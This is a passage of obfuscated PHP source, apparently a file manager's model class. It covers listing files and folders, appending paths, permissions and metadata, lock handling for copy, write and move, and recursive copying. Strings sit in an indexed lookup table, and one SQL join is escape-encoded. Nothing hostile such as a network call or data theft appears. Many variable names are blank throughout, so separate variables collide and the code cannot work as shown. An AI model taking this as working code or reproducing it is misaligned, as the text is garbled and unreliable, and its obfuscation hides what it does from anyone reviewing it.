$Š =& $_SERVER[ϋ]; if ($ɇ && !is_array($ɇ)) { $ɇ = array($ɇ); } $ = Model($Š[483])->listData(); $ѫ = array(); $Ý = array(); foreach ($ as $) { $ʛ = $[$Š[87]]; if (!$ʛ) { continue; } if (!isset($Ý[$ʛ])) { $Ý[$ʛ] = array(); } $Ý[$ʛ][] = $[$Š[484]]; $ѫ[$[$Š[87]]] = $; } $Ȥ = array(); $ = array(); $ = array(); foreach ($Ý as $ => $) { $ҵЏ = !0; if (!$ɇ) { $Ȥ[] = $; continue; } foreach ($ɇ as $) { if (!in_array($, $)) { $ҵЏ = !1; break; } } if (!$ҵЏ) { continue; } if (!is_numeric($)) { $޵ڼ = $ѫ[$]; $ = array($Š[32] => $޵ڼ[$Š[32]], $Š[87] => $޵ڼ[$Š[87]], $Š[33] => $޵ڼ[$Š[33]], $Š[90] => array($Š[485] => 1), $Š[223] => !0); if ($޵ڼ[$Š[33]] == $Š[221]) { $[] = $; } if ($޵ڼ[$Š[33]] == $Š[78]) { $[] = $; } continue; } $Ȥ[] = $; } if ($Ȥ) { $Č = $this->listSource(array($Š[475] => array($Š[476], $Ȥ))); } $Č = $Č ? $Č : array($Š[85] => array(), $Š[86] => array()); $Č[$Š[85]] = array_merge($Č[$Š[85]], $); $Č[$Š[86]] = array_merge($Č[$Š[86]], $); if (isset($Č[$Š[426]]) && count($Ȥ) == $Č[$Š[426]][$Š[427]]) { return $Č; } $ȁҥ = array(); $ژ = array_to_keyvalue($Č[$Š[85]], $Š[12], $Š[184]); $즩 = array_to_keyvalue($Č[$Š[86]], $Š[12], $Š[184]); $ς = array_merge($즩, $ژ); foreach ($Ȥ as $ʛ) { if (!in_array($ʛ, $ς)) { $ȁҥ[] = $ʛ; } } if ($ȁҥ) { Model($Š[486])->removeBySource($ȁҥ); } return $Č; } public function listUserRecycle() { $ʥ߃ =& $_SERVER[ϋ]; $ك = Model($ʥ߃[487])->listData(); if (!$ك) { return array(); } $癅 = array($ʥ߃[475] => array($ʥ߃[476], $ك), $ʥ߃[488] => 1); return $this->listSource($癅); } public function listSource($, $ = 3000, $¹ = false) { $ە =& $_SERVER[ϋ]; if (!isset($[$ە[489]])) { $[$ە[489]] = 0; } if (isset($[$ە[183]]) && $[$ە[183]] == $ە[219]) { $[$ە[470]] = array($ە[382], $ە[490]); } $뚶 = $ە[491]; $ = $this->field($뚶)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($, $뚶, $); $this->_listDataApply($[$ە[429]], $¹); $this->_listMake($); return $; } private function _listPageCheck(&$ߙ蝿, $, $) { $ϼ =& $_SERVER[ϋ]; if (!is_array($ߙ蝿[$ϼ[426]])) { return; } $ܕ = $ߙ蝿[$ϼ[426]]; if ($ܕ[$ϼ[428]] <= 1) { return; } if ($ܕ[$ϼ[427]] >= 100000) { return; } if (Model($ϼ[492])->get($ϼ[493]) != $ϼ[494]) { return; } $ = str_replace(array($ϼ[53], $ϼ[393], $ϼ[253]), $ϼ[12], $); $ = $ϼ[495] . str_replace($ϼ[50], $ϼ[496], $) . $ϼ[497]; $ = $ϼ[498]; $ = $ . $ϼ[499]; $ = $ܕ[$ϼ[423]] * ($ܕ[$ϼ[404]] - 1) . $ϼ[50] . $ܕ[$ϼ[423]]; $̘ = $this->_makeOrder(!0); $ = $ϼ[495] . str_replace($ϼ[50], $ϼ[496], $̘[0]); if (strpos($, $ϼ[500])) { $ = str_replace($ϼ[500], $ϼ[501], $); } else { $ .= $ϼ[502] . $̘[1]; } $юމ = array(); foreach ($ as $ѝ => $ޝ) { $юމ[$ϼ[495] . $ѝ] = $ޝ; } $this->alias($ϼ[503])->field($)->limit($)->order($); $ = $this->join($)->where($юމ)->select(); if ($) { $ߙ蝿[$ϼ[429]] = $; } } protected function _makeOrder($Ⱦ = false) { $ =& $_SERVER[ϋ]; $̵ = Model($[504])->get($[505]); $ = Model($[504])->get($[506]); $ū = array($[507] => $[508], $[509] => $[510]); $ފ = array($[32] => $[32], $[79] => $[79], $[178] => $[470], $[511] => $[511], $[512] => $[513], $[222] => $[222], $[88] => $[88]); $ߙ = Input::get($[514], $[7], $̵, array_keys($ފ)); $ = Input::get($[515], $[7], $, array_keys($ū)); if (!in_array($ߙ, array_keys($ފ))) { $ߙ = $[32]; } if (!in_array($, array_keys($ū))) { $ߙ = $[507]; } if ($ߙ == $[32]) { } $Ա = $[516] . $ފ[$ߙ] . $[53] . $ū[$]; $Ա = rtrim(trim($Ա), $[50]); if ($Ⱦ) { return array($Ա, $ū[$]); } return $this->order($Ա); } protected function _listDataApplyItem($, $ݔƥ = false) { $ = array($); $this->_listDataApply($, $ݔƥ); return $[0]; } protected function _listDataApply(&$ȁ, $¾ = false) { $݆ބ =& $_SERVER[ϋ]; if (!$ȁ) { $ȁ = array(); return; } $͂ = array_to_keyvalue($ȁ, $݆ބ[12], $݆ބ[184]); $͂ = array_unique($͂); $this->_listSourceCache($ȁ); if (!$¾) { $this->_listAppendMeta($ȁ, $͂); $this->_listAppendFileMeta($ȁ, $͂); $this->_listAppendChildren($ȁ, $͂); } $this->_listAppendPath($ȁ); $this->_listAppendAuth($ȁ); $this->_listAppendSourceInfo($ȁ, $͂); $this->_listAppendUser($ȁ); $this->_listFilterInfo($ȁ, $¾); $this->_listAppendAuthSecret($ȁ); } protected function _listSourceCache($ǡ) { $ =& $_SERVER[ϋ]; foreach ($ǡ as $Г) { self::$cacheSourceInfo[$[517] . $Г[$[184]]] = $Г; } } protected function _listFilterInfo(&$, $炊 = false) { $͟ =& $_SERVER[ϋ]; foreach ($ as &$Ȋ) { $Ȋ = $this->pathInfoFilter($Ȋ); self::$cachePathInfo[$͟[518] . intval($炊) . $͟[446] . $Ȋ[$͟[184]]] = $Ȋ; } unset($Ȋ); } protected function _listMake(&$Ӆ) { $Ȃ =& $_SERVER[ϋ]; $Ӆ[$Ȃ[85]] = array(); $Ӆ[$Ȃ[86]] = array(); foreach ($Ӆ[$Ȃ[429]] as $) { $ = $[$Ȃ[469]] == 1 ? $Ȃ[85] : $Ȃ[86]; $Ӆ[$][] = $; } unset($Ӆ[$Ȃ[429]]); } protected function _listAppendMeta(&$̊, $) { $Ȑ =& $_SERVER[ϋ]; $ܙ = array($Ȑ[475] => array($Ȑ[476], $)); $懀؅ = Model($Ȑ[519])->field($Ȑ[520])->where($ܙ)->select(); if (!$懀؅) { return; } $ؑ = array($Ȑ[521], $Ȑ[522], $Ȑ[501]); $ū = array(); foreach ($懀؅ as $ ) { if (!isset($ū[$ [$Ȑ[184]]])) { $ū[$ [$Ȑ[184]]] = array(); } if (in_array($ [$Ȑ[97]], $ؑ)) { continue; } $ū[$ [$Ȑ[184]]][$ [$Ȑ[97]]] = $ [$Ȑ[434]]; } foreach ($̊ as &$׋ͩ) { $׋ͩ[$Ȑ[523]] = !1; if (isset($ū[$׋ͩ[$Ȑ[184]]])) { $׋ͩ[$Ȑ[523]] = $ū[$׋ͩ[$Ȑ[184]]]; } if ($this->fileIsLock($׋ͩ) && $׋ͩ[$Ȑ[471]]) { $Ѝ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $׋ͩ[$Ȑ[471]][$Ȑ[472]] = AuthModel::authDisable($׋ͩ[$Ȑ[471]][$Ȑ[472]], $Ѝ); $׋ͩ[$Ȑ[471]][$Ȑ[524]][$Ȑ[471]] = $׋ͩ[$Ȑ[471]][$Ȑ[472]]; } } unset($׋ͩ); } protected function _listAppendFileMeta(&$, $) { $ =& $_SERVER[ϋ]; $ = array_to_keyvalue($, $[12], $[525]); $ = array_filter(array_unique($)); if (!$) { return; } $΂ = array($[526] => array($[476], $)); $ = $[527]; $̋ = Model($[528])->field($)->where($΂)->select(); $̋ = array_to_keyvalue($̋, $[525]); $ô = Model($[529])->field($[530])->where($΂)->select(); $ô = $ô ? $ô : array(); $䬌 = array(); foreach ($ô as $) { if (!isset($䬌[$[$[525]]])) { $䬌[$[$[525]]] = array(); } $䬌[$[$[525]]][$[$[97]]] = $[$[434]]; } foreach ($ as &$) { $ = $[$[525]]; if (!$ || !is_array($̋[$])) { continue; } $͢ = $̋[$]; $͢[$[79]] = $[$[79]]; $͢[$[32]] = $[$[32]]; if (!$͢[$[531]]) { Model($[528])->fileMd5Check($͢); } if (!isset(self::$cacheFileInfo[$[532] . $])) { self::$cacheFileInfo[$[532] . $] = array_merge(array(), $͢); } unset($̋[$][$[87]]); $Ҽʬ = is_array($䬌[$]) ? $䬌[$] : array(); $[$[533]] = array_merge($Ҽʬ, $̋[$]); if (isset($[$[533]][$[174]])) { $[$[174]] = json_decode($[$[533]][$[174]], !0); unset($[$[533]][$[174]]); } } unset($); } protected function _listAppendSourceInfo(&$, $ד) { $󒞬 =& $_SERVER[ϋ]; $Ŋ = Model($󒞬[534])->listData(); $б = Model($󒞬[483])->listData(); $ۃ = Model($󒞬[473])->listData(); $Ҋ뗏 = Model($󒞬[535])->listSimple(); $ = array_to_keyvalue($Ŋ, $󒞬[459]); $ = array_to_keyvalue_group($б, $󒞬[87], $󒞬[484]); $ = array_to_keyvalue($ۃ, $󒞬[87]); $ܓ = array_to_keyvalue_group($Ҋ뗏, $󒞬[184]); foreach ($ as &$) { $[$󒞬[90]] = array($󒞬[536] => 0, $󒞬[537] => 0, $󒞬[538] => 0); if (isset($[$[$󒞬[184]]])) { $[$󒞬[90]][$󒞬[539]] = 1; $[$󒞬[90]][$󒞬[540]] = $[$[$󒞬[184]]][$󒞬[32]]; } if ($ && $ && isset($[$[$󒞬[184]]])) { $[$󒞬[90]][$󒞬[541]] = array(); foreach ($[$[$󒞬[184]]] as $) { $ = $[$]; $[$󒞬[90]][$󒞬[541]][] = array($󒞬[542] => $[$󒞬[459]], $󒞬[478] => $[$󒞬[32]], $󒞬[543] => $[$󒞬[544]]); } } if ($ܓ && isset($ܓ[$[$󒞬[184]]])) { $[$󒞬[90]][$󒞬[545]] = array(); foreach ($ܓ[$[$󒞬[184]]] as $ѻ) { $었 = $󒞬[546]; if ($ѻ[$󒞬[547]] == $󒞬[91]) { $었 .= $󒞬[548]; } $[$󒞬[90]][$󒞬[545]] = array_field_key($ѻ, explode($󒞬[50], $었)); } } } unset($); return $; } protected function _listAppendChildren(&$蠠, $) { $ =& $_SERVER[ϋ]; $ = array(); $߮ = array($[230] => 0, $[231] => 0); foreach ($蠠 as &$̟Ÿ) { if (!$̟Ÿ[$[469]]) { continue; } $[] = $̟Ÿ[$[184]]; } unset($̟Ÿ); if (!$) { return; } $ = array($[183] => array($[7], $), $[489] => 0); $Β = array($[183], $[469], $[549] => $[550]); $֜ = $this->field($Β)->where($)->group($[551])->select(); $ = array(); foreach ($֜ as $􁓸) { $驵 = $􁓸[$[183]]; $ז = $􁓸[$[469]] == $[91] ? $[231] : $[230]; if (!isset($[$驵])) { $[$驵] = array($[230] => 0, $[231] => 0); } $[$驵][$ז] += $􁓸[$[550]]; } foreach ($蠠 as &$̟Ÿ) { if (!$̟Ÿ[$[469]]) { continue; } $Ѡ = is_array($[$̟Ÿ[$[184]]]) ? $[$̟Ÿ[$[184]]] : $߮; $̟Ÿ[$[231]] = $Ѡ[$[231]]; $̟Ÿ[$[230]] = $Ѡ[$[230]]; unset($̟Ÿ[$[470]]); } unset($̟Ÿ); } protected function _listAppendAuth(&$) { $ =& $_SERVER[ϋ]; $߸ = array(); foreach ($ as $) { if ($[$[181]] == self::TYPE_GROUP) { $߸[] = $[$[184]]; } } if (!$߸) { return; } $򂮫 = array_to_keyvalue($, $[184]); $ = Model($[552])->getSourceList($߸, $򂮫); $˚Ŗ = KodUser::isRoot(); foreach ($ as $ => &$) { $[$[471]] = $[$[$[184]]]; if (!$[$[471]] && $[$[181]] == self::TYPE_GROUP) { $[$[471]] = Action($[553])->pathGroupAuthMake($[$[554]]); if (!$[$[471]] && !$˚Ŗ) { $[$[224]] = !1; $[$[223]] = !1; } } if ($[$[471]]) { $[$[224]] = AuthModel::authCheckEdit($[$[471]][$[472]]); $[$[223]] = AuthModel::authCheckView($[$[471]][$[472]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $철 =& $_SERVER[ϋ]; if (Model($철[492])->get($철[555]) != $철[91]) { return; } static $˙ = false; if (!$˙) { $ɥ = Model($철[556]); $ = Model($철[557]); $˙ = $->listData(); $˙ = array_to_keyvalue($˙, $철[184]); $ⱌ = json_decode(Model($철[492])->get($철[558]), !0); $ⱌ = array_to_keyvalue($ⱌ, $철[459]); foreach ($˙ as $ => $츿) { $ = $ⱌ[$츿[$철[559]]]; if (!$) { $->remove($츿[$철[459]]); unset($˙[$]); continue; } $㦅ߧ = $ɥ->listData($[$철[471]]); if (!$㦅ߧ) { $->remove($츿[$철[459]]); unset($˙[$]); continue; } $츿[$철[471]] = $㦅ߧ; $츿[$철[560]] = $; $츿[$철[561]] = Model($철[562])->getInfoSimpleOuter($츿[$철[511]]); $˙[$] = $츿; } } $ = USER_ID; $ه = array(); $ = $this->_listAppendPath($ه, !0); foreach ($ as $ => &$츿) { if (!is_array($츿[$철[471]])) { continue; } if ($츿[$철[181]] != $철[563]) { continue; } if (isset($˙[$츿[$철[184]]])) { $ = $˙[$츿[$철[184]]]; if (!is_array($츿[$철[523]])) { $츿[$철[523]] = array(); } $츿[$철[523]][$철[564]] = $[$철[559]]; $츿[$철[471]][$철[565]] = $; $츿[$철[471]][$철[566]] = $츿[$철[567]]; $츿[$철[471]][$철[568]] = $철[91]; if ($[$철[511]] != $) { $츿[$철[471]][$철[472]] = $츿[$철[471]][$철[472]] & $[$철[471]][$철[471]]; } continue; } $ = $this->parentLevelArray($츿[$철[569]]); $솻 = array_reverse($); foreach ($솻 as $ => $ǒ) { if (!isset($˙[$ǒ])) { continue; } $ = $˙[$ǒ]; $츿[$철[471]][$철[565]] = $; if ($[$철[511]] != $) { $츿[$철[471]][$철[472]] = $츿[$철[471]][$철[472]] & $[$철[471]][$철[471]]; } $â = $철[12]; $р = count($) - $; for ($ = 0; $ < $р; $++) { if (!isset($[$[$]])) { $â = $철[12]; break; } $â = $â . rtrim($[$[$]], $철[8]) . $철[8]; } $츿[$철[471]][$철[566]] = rtrim($â, $철[8]) . $철[8]; break; } } unset($츿); } public function groupPathDisplay(&$뺋) { $陕 =& $_SERVER[ϋ]; if ($뺋[$陕[181]] != self::TYPE_GROUP) { return; } $ = Model($陕[570])->getInfo($뺋[$陕[554]]); $ݩֻ = $this->parentLevelArray($[$陕[569]]); $ = $陕[12]; foreach ($ݩֻ as $ι) { $ށ = Model($陕[570])->getInfo($ι); $ .= $ށ[$陕[90]][$陕[184]] . $陕[50]; } $뺋[$陕[571]] = $[$陕[183]]; $뺋[$陕[572]] = $[$陕[569]]; $뺋[$陕[573]] = $[$陕[574]]; $뺋[$陕[575]] = $ . $[$陕[90]][$陕[184]]; } protected function _listAppendPath(&$, $ܽ = false) { $ =& $_SERVER[ϋ]; static $ = array(); $ëǯ = array(); $ӽ؍ = array(); if ($ܽ) { return $; } foreach ($ as &$) { $ʟס = $[$[184]]; if ($[$[469]] == $[91] && $[$[183]] != 0) { $[$ʟס] = $[$[32]]; } if ($[$[469]] == $[91] && $[$[183]] == 0) { $[$ʟס] = $this->_listAppendPathRoot($, array()); } if (isset($ӽ؍[$[$[569]]])) { continue; } $ӽ؍[$[$[569]]] = !0; $֘ = $this->parentLevelArray($[$[569]]); foreach ($֘ as $ն => $Ӽ) { if (isset($[$Ӽ])) { continue; } if ($ն == 0) { $[$Ӽ] = $this->_listAppendPathRoot($, $֘); } if ($ն != 0) { $ëǯ[] = $Ӽ; } } } unset($); $ëǯ = array_unique($ëǯ); if (count($ëǯ) > 0) { $ = array($[475] => array($[476], $ëǯ)); if (count($ëǯ) == 1) { $ = $this->sourceInfo($ëǯ[0]); $É = is_array($) ? array($) : !1; } else { $É = $this->field($[576])->where($)->select(); } if (!$É) { $É = array(); } foreach ($É as $ʬ) { $[$ʬ[$[184]]] = $ʬ[$[32]]; } } $е = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ѱۡ = array(); foreach ($ as &$) { $ = $[$[569]]; $ = $[12]; if (isset($ѱۡ[$])) { $ = $ѱۡ[$]; } else { $֘ = $this->parentLevelArray($[$[569]]); foreach ($֘ as $ն => $Ӽ) { if (isset($[$Ӽ])) { $ .= $[$Ӽ] . $[8]; } } $ѱۡ[$] = $; } $ .= $[$[32]]; if ($[$[469]] == $[91]) { $ .= $[8]; } $[$[567]] = str_replace($[577], $[8], $); if ($[$[183]] == $[219]) { $[$[32]] = trim($[$[$[184]]], $[8]); $[$[567]] = $[$[32]] . $[8]; } if (intval($[$[181]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $֘, $е); } } unset($); return $; } private function _listAppendPathRecycle(&$, $, $) { $΀ =& $_SERVER[ϋ]; if (!in_array($, $) && $[$΀[184]] != $) { return; } $ = explode($΀[8], trim($[$΀[567]], $΀[8])); $ì = implode($΀[8], array_slice($, 2)); $[$΀[567]] = $΀[8] . LNG($΀[578]) . $΀[8] . ltrim($ì, $΀[8]); $[$΀[569]] = $΀[579] . implode($΀[50], array_slice($, 1)) . $΀[50]; if ($[$΀[184]] == $) { $[$΀[569]] = $΀[579]; $[$΀[183]] = $΀[219]; $[$΀[32]] = LNG($΀[578]); } $[$΀[580]] = $΀[581]; } protected function _listAppendPathRoot(&$Ϡ, $֋) { $Շ =& $_SERVER[ϋ]; static $ = false; $׌ = $Շ[12]; if ($Ϡ[$Շ[181]] == self::TYPE_USER) { if ($Ϡ[$Շ[554]] == USER_ID) { $׌ = LNG($Շ[582]); if ($ === !1) { $ʧɔ = Model($Շ[583])->getInfoFull(USER_ID); $ = _get($ʧɔ, $Շ[584], $Շ[12]); } if ($֋ && $֋[0] == $ || !$֋ && $Ϡ[$Շ[184]] == $) { $׌ = LNG($Շ[585]); $Ϡ[$Շ[586]] = $Շ[587]; } if (!$֋) { $Ϡ[$Շ[32]] = $׌; } } else { $Ϡ[$Շ[588]] = Model($Շ[562])->getInfoSimpleOuter($Ϡ[$Շ[554]]); $׌ = LNG($Շ[589]) . $Շ[166] . $Ϡ[$Շ[588]][$Շ[32]] . $Շ[168]; } } else { if ($Ϡ[$Շ[181]] == self::TYPE_GROUP) { $ = Model($Շ[570])->getInfoSimple($Ϡ[$Շ[554]]); $׌ = $[$Շ[32]]; } else { if ($Ϡ[$Շ[181]] == self::TYPE_SYSTEM) { $׌ = $Շ[590]; } } } $׌ = $׌ ? $Շ[8] . $׌ . $Շ[8] : $Շ[8]; return $׌; } protected function _listAppendUser(&$) { $ݗ =& $_SERVER[ϋ]; $釞 = array_to_keyvalue($, $ݗ[12], $ݗ[511]); $ = array_to_keyvalue($, $ݗ[12], $ݗ[513]); $ܗ = array_merge($釞, $); $؞ = Model($ݗ[583])->userListInfo($ܗ); foreach ($ as &$ߝ) { $۴ = $ߝ[$ݗ[511]]; $ߝ[$ݗ[511]] = $؞[$۴] ? $؞[$۴] : !1; $۴ = $ߝ[$ݗ[513]]; $ߝ[$ݗ[513]] = $؞[$۴] ? $؞[$۴] : !1; if (isset($ߝ[$ݗ[523]]) && $ߝ[$ݗ[523]][$ݗ[591]]) { $ = $GLOBALS[$ݗ[6]][$ݗ[92]][$ݗ[592]]; if ($ߝ[$ݗ[523]][$ݗ[593]] <= time() - $) { $this->metaSet($ߝ[$ݗ[184]], $ݗ[591], null); $this->metaSet($ߝ[$ݗ[184]], $ݗ[593], null); unset($ߝ[$ݗ[523]][$ݗ[591]]); continue; } $㋮ = $ߝ[$ݗ[523]][$ݗ[591]]; $ߝ[$ݗ[523]][$ݗ[594]] = Model($ݗ[583])->getInfoSimpleOuter($㋮); } } unset($ߝ); } public function parentLevelArray($) { $ܑ =& $_SERVER[ϋ]; $ = explode($ܑ[50], trim($, $ܑ[50])); return array_remove_value($, $ܑ[219]); } public function listAll($) { $ =& $_SERVER[ϋ]; $ư = $this->sourceInfo($); $ȼ = array($[595] => array($[596], $ư[$[569]] . $ . $[597]), $[598] => 0); $鬝 = $[599]; $򙙎 = "\114\105\x46\124\40\x4a\x4f\111\116\x20{$this->tablePrefix}\x69\x6f\137\146\151\x6c\145\x20\x66\x69\x6c\x65\40\157\156\x20\163\x6f\x75\x72\143\145\x2e\146\151\154\145\x49\104\x20\x3d\x20\x66\x69\154\x65\x2e\x66\x69\x6c\x65\111\x44"; $ = $this->alias($[503])->field($鬝)->where($ȼ)->join($򙙎)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $[184]); $ç = "\57{$ư[$[32]]}\57"; $ç = $ç == $[577] ? $[8] : $ç; $们 = array(); foreach ($ as $څœ => $֏) { $Ö = $this->parentLevelArray($֏[$[569]]); array_shift($Ö); $Ƿ = $ç; for ($Ȓ = 0; $Ȓ < count($Ö); $Ȓ++) { $Ƿ .= $[$Ö[$Ȓ]][$[32]] . $[8]; } $Ƿ .= $֏[$[32]]; if ($֏[$[469]]) { $Ƿ .= $[8]; } $ןŘں = array($[479] => str_replace($[577], $[8], str_replace($[577], $[8], str_replace($[577], $[8], $Ƿ))), $[600] => intval($֏[$[469]]), $[601] => intval($֏[$[79]]), $[88] => intval($֏[$[88]]), $[90] => $this->pathInfoFilter($֏)); if (!$ןŘں[$[469]]) { $ןŘں[$[525]] = $֏[$[525]]; } $们[] = $ןŘں; } $们 = array_sort_by($们, $[87]); return $们; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($߳) { $˾ =& $_SERVER[ϋ]; if (!$this->allowLock()) { return; } $this->_lockCheck($˾[602], $߳); $޶ = 1; $this->_lockEvent($߳, array($˾[603], $˾[604]), $޶); $this->_lockParent($߳, array($˾[604]), $޶); $this->_lockEvent($߳, array($˾[605], $˾[606]), $޶); $this->_lockCheckEnd($˾[602], $߳); } public function lockCopyEnd($) { $퇢 =& $_SERVER[ϋ]; if (!$this->allowLock()) { return; } $֐ = 0; $this->_lockEvent($, array($퇢[603], $퇢[604]), $֐); $this->_lockParent($, array($퇢[604]), $֐); $this->_lockEvent($, array($퇢[605], $퇢[606]), $֐); } public function lockWriteStart($, $Ә = '') { $ =& $_SERVER[ϋ]; if (!$this->allowLock()) { return; } $this->_lockCheck($[603], $); $Ͽ = 1; $this->_lockKey($[607] . $ . $[10] . $Ә, $Ͽ); $this->_lockEvent($, array($[602], $[604]), $Ͽ); $this->_lockParent($, array($[602], $[604]), $Ͽ); $this->_lockCheckEnd($[603], $); } public function lockWriteEnd($, $ǥ = '') { $ƒ =& $_SERVER[ϋ]; if (!$this->allowLock()) { return; } $嫣 = 0; $this->_lockKey($ƒ[607] . $ . $ƒ[10] . $ǥ, $嫣); $this->_lockEvent($, array($ƒ[602], $ƒ[604]), $嫣); $this->_lockParent($, array($ƒ[602], $ƒ[604]), $嫣); } public function lockMoveStart($׃) { $ބ =& $_SERVER[ϋ]; if (!$this->allowLock()) { return; } $this->_lockCheck($ބ[604], $׃); $ژ = 1; $this->_lockKey($ބ[608] . $׃, $ژ); $this->_lockEvent($׃, array($ބ[602], $ބ[603]), $ژ); $this->_lockParent($׃, array($ބ[602], $ބ[604]), $ژ); $this->_lockEvent($׃, array($ބ[609], $ބ[605], $ބ[606]), $ژ); $this->_lockCheckEnd($ބ[604], $׃); } public function lockMoveEnd($ʿ) { $ =& $_SERVER[ϋ]; if (!$this->allowLock()) { return; } $ȩ = 0; $this->_lockKey($[608] . $ʿ, $ȩ); $this->_lockEvent($ʿ, array($[602], $[603]), $ȩ); $this->_lockParent($ʿ, array($[602], $[604]), $ȩ); $this->_lockEvent($ʿ, array($[609], $[605], $[606]), $ȩ); } private function _lockCheck($, $ᤈ) { $ď =& $_SERVER[ϋ]; $ۜ = $this->sourceInfo($ᤈ); $ੑ = $ . $ď[10] . $ᤈ; $this->_lockTimeStart[$ੑ] = timeFloat(); if (!is_array($ۜ)) { return; } $ƅ = LNG($ď[610]); CacheLock::setErrorMsg($ď[166] . htmlspecialchars($ۜ[$ď[32]]) . $ď[168] . $ƅ); $this->_lockKey($ੑ, 1); $this->_lockKey($ੑ, 0); $Ĺ = array_reverse($this->parentLevelArray($ۜ[$ď[569]])); foreach ($Ĺ as $ޞЪ) { $ੑ = $ . $ď[611] . $ޞЪ; if (CacheLock::lockGet($ď[612] . $ੑ)) { $ۜ = $this->sourceInfo($ޞЪ); CacheLock::setErrorMsg($ď[166] . htmlspecialchars($ۜ[$ď[32]]) . $ď[168] . $ƅ); $this->_lockKey($ੑ, 1); $this->_lockKey($ੑ, 0); } } } private function _lockCheckEnd($بߴ, $°) { $ =& $_SERVER[ϋ]; $ = $بߴ . $[10] . $°; CacheLock::setErrorMsg($[438]); if (!isset($this->_lockTimeStart[$])) { return; } $ؑ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ؑ > 0.5) { unset(self::$cacheSourceInfo[$[517] . $°]); } $ = $this->sourceInfo($°); if (!$) { show_json(LNG($[108]), !1); } } private function _lockParent($ݺ, $̵ؚ, $) { if (!$this->autoLockSet) { return; } $ՙ΄ = $this->sourceInfo($ݺ); if (!is_array($ՙ΄)) { return; } $ = array_reverse($this->parentLevelArray($ՙ΄[$_SERVER[ϋ][569]])); foreach ($ as $) { $this->_lockEvent($, $̵ؚ, $); } } private function _lockEvent($ݨ, $, $ݛ) { $ž =& $_SERVER[ϋ]; if (!$this->autoLockSet) { return; } foreach ($ as $梓) { $ = $梓 . $ž[10] . $ݨ; if ($ݛ && CacheLock::lockGet($ž[612] . $)) { continue; } $this->_lockKey($, $ݛ); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($՗, $۵ = 1) { $Њ = $_SERVER[ϋ][612] . md5($՗); if ($۵) { if (isset(self::$_lockItemArr[$Њ])) { return; } self::$_lockItemArr[$Њ] = 1; CacheLock::lock($Њ, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$Њ])) { return; } unset(self::$_lockItemArr[$Њ]); CacheLock::unlock($Њ); } } public function isParentOf($, $ۗ΂) { $ž =& $_SERVER[ϋ]; $쮄 = $this->sourceInfo($); $С = $this->sourceInfo($ۗ΂); $⮐ = $쮄[$ž[569]] . $쮄[$ž[184]] . $ž[50]; $՞ = $С[$ž[569]] . $С[$ž[184]] . $ž[50]; $ڋ = strpos($՞, $⮐) === 0; return $ڋ; } private $targetIsDelete = 0; public function copy($̈, $Ť, $ = REPEAT_REPLACE, $ = '') { $־ =& $_SERVER[ϋ]; $躥 = $this->sourceInfo($̈); $ү = $this->sourceInfo($Ť); if (!$躥 || !$ү || $ү[$־[469]] != $־[91]) { return !1; } if ($this->isParentOf($̈, $Ť)) { return !1; } $ = $ ? $ : $躥[$־[32]]; $this->lockCopyStart($̈); $this->lockWriteStart($Ť, $); $ɝ㹗 = array($־[613] => array(), $־[614] => array(), $־[615] => array()); $this->targetIsDelete = intval($躥[$־[489]]); $ = $this->fileNameExistAuto($Ť, $躥); $ = $this->_copy($̈, $Ť, $, $ɝ㹗, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($̈); $this->lockWriteEnd($Ť, $); if ($躥[$־[469]] == $־[91] && $ == $) { $this->folderSizeResetChildren($); } Model($־[616])->addAll($ɝ㹗[$־[614]], array(), !0); if ($ != $ || $躥[$־[469]] == $־[91]) { Model($־[617])->eventCopy($); } $this->saveAll($ɝ㹗[$־[615]]); Model($־[221])->linkAdd($ɝ㹗[$־[613]]); $this->folderSizeReset($Ť); $this->updateModifyTime($Ť); return $; } private function _copy($, $, $ݲ, &$, $ֳ, $ = '') { $ۦ =& $_SERVER[ϋ]; $ç = $this->sourceInfoCache($); $̾ = $ç[$ۦ[469]] == $ۦ[91]; $̊êǚ = $ ? $ : $ç[$ۦ[32]]; $Ƶ = $this->fileNameExistAuto($, $ç); if ($ֳ) { $this->_childrenAllMake($); if ($̾ && $Ƶ) { $this->_childrenAllMake($Ƶ); } } if (!$Ƶ) { return $this->_copyCreate($, $, $̊êǚ, $); } $ = $Ƶ; if ($̾) { if ($ݲ == REPEAT_RENAME_FOLDER) { $̊êǚ = $this->fileNameAutoCache($, $̊êǚ, $ݲ, $̾); $ = $this->_copyCreate($, $, $̊êǚ, $); } else { $̭ = $this->_childrenList($); foreach ($̭ as $Í) { $this->_copy($Í[$ۦ[184]], $Ƶ, $ݲ, $, !1); } } } else { if ($ݲ == REPEAT_RENAME || $ݲ == REPEAT_RENAME_FOLDER) { $̊êǚ = $this->fileNameAutoCache($, $̊êǚ, $ݲ, $̾); $ = $this->_copyCreate($, $, $̊êǚ, $); } else { if ($ݲ == REPEAT_REPLACE) { $Ɖ = $this->sourceInfoCache($Ƶ); $آ = $this->fileHistory($Ɖ, $ç[$ۦ[525]], $ç[$ۦ[79]]); if ($آ) { $[$ۦ[613]][] = $ç[$ۦ[525]]; } } else { if ($ݲ == REPEAT_SKIP) { } } } Hook::trigger($ۦ[618], array($ۦ[619], $ç, 0)); } return $; } private function _copyCreate($ћ㕠, $ё, $, &$) { $ǘ =& $_SERVER[ϋ]; $ɝ = $this->sourceInfoCache($ћ㕠); $ݾݸ = $this->sourceInfoCache($ё); $ǃ = $this->_makeItemData($ɝ, $ݾݸ, $); Hook::trigger($ǘ[620], $ǃ); Hook::trigger($ǘ[621], array($ǘ[622], $ǃ, 0)); $ = $this->add($ǃ); $ = array($ǘ[184] => $, $ǘ[32] => $); $this->_copyApplyMeta($, $); if ($ɝ[$ǘ[469]] != $ǘ[91]) { $[$ǘ[613]][] = $ɝ[$ǘ[525]]; return $; } $ʵ = array(); $ = array(); $this->_childrenListAll($ћ㕠, $ʵ); $˓ = count($ʵ); if 